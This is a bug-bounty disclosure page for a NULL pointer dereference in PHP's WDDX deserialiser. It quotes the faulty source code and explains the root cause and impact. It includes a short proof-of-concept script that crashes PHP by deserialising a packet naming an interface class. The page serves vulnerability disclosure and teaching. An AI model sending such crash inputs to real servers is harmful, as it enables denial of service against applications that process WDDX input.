NULL Pointer Dereference while unserialize php object
The WDDX deserialiser calls object_init_ex without checking its return value, so when a user supplies an interface, trait or abstract class name the call fails and leaves the object pointer NULL. The code then dereferences that NULL pointer, crashing the PHP process.
Originally disclosed on HackerOne
- Fixed in 5 months
- Paid in 5 months
- Disclosed after 2.9 years
Because no checking result of object_init_ex so that if user passing implement class, abstract class the result of this is FALSE and args is NULL, so that lead program crash
if (class_type->ce_flags & ZEND_ACC_INTERFACE) {
zend_throw_error(NULL, "Cannot instantiate interface %s", ZSTR_VAL(class_type->name));
} else if (class_type->ce_flags & ZEND_ACC_TRAIT) {
zend_throw_error(NULL, "Cannot instantiate trait %s", ZSTR_VAL(class_type->name));
} else {
zend_throw_error(NULL, "Cannot instantiate abstract class %s", ZSTR_VAL(class_type->name));
}
ZVAL_NULL(arg);
Z_OBJ_P(arg) = NULL;
return FAILURE;
}
if (UNEXPECTED(!(class_type->ce_flags & ZEND_ACC_CONSTANTS_UPDATED))) {
if (UNEXPECTED(zend_update_class_constants(class_type) != SUCCESS)) {
ZVAL_NULL(arg);
Z_OBJ_P(arg) = NULL;
return FAILURE;
}
}
if (class_type->create_object == NULL) {
ZVAL_OBJ(arg, zend_objects_new(class_type));
if (properties) {
object_properties_init_ex(Z_OBJ_P(arg), properties);
} else {
object_properties_init(Z_OBJ_P(arg), class_type);
}
} else {
ZVAL_OBJ(arg, class_type->create_object(class_type));
}
return SUCCESS;
object_init_ex(&obj, pce);
/* Merge current hashtable with object's default properties */
zend_hash_merge(Z_OBJPROP(obj),
Z_ARRVAL(ent2->data),
zval_add_ref, 0);
Test script:
<?php
$xml = <<<EOF
<?xml version="1.0" ?>
<wddxPacket version="1.0">
<struct>
<var name="php_class_name">
<string>Throwable</string>
</var>
</struct>
</wddxPacket>
EOF;
$wddx = wddx_deserialize($xml);
var_dump($wddx);
?>
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the return value of object_init_ex is not checked, so a failed instantiation leaves a NULL object that is then dereferenced by zend_hash_merge.
Impact
An attacker who can supply WDDX input could crash the PHP process, causing a denial of service.
What the attacker needed
Ability to supply WDDX input to the application
How it was found
- Build a WDDX packet whose struct names a class that cannot be instantiated, such as an interface or abstract class.
- Pass the packet to wddx_deserialize.
- The deserialiser fails to create the object but continues and dereferences the NULL pointer, crashing the process.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When PHP reads serialised data it can be told to create an object of a named class. Some class names, such as interfaces or abstract classes, cannot be turned into objects, so the creation step fails and returns nothing. The code does not check for that failure and keeps using the empty result, which makes the program crash.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.